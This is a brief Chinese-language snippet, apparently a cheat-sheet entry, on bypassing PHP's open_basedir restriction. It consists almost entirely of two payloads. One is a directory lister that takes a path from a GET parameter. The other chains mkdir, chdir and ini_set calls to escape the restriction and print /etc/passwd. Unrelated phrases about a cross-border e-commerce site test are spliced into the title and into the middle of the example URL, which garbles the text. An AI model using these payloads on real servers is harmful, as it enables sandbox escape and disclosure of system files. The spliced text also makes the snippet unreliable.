Bypass open_basedir - 跨境电商独立站测试
列目录 test.php?c=/tmp/ 读文件
列目录 test.跨境电商独立站测试php?UAT测试c=/tmp/
<?php $c = $_GET['c']; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>读文件
<?php mkdir('minx'); chdir('minx'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/passwd'); ?>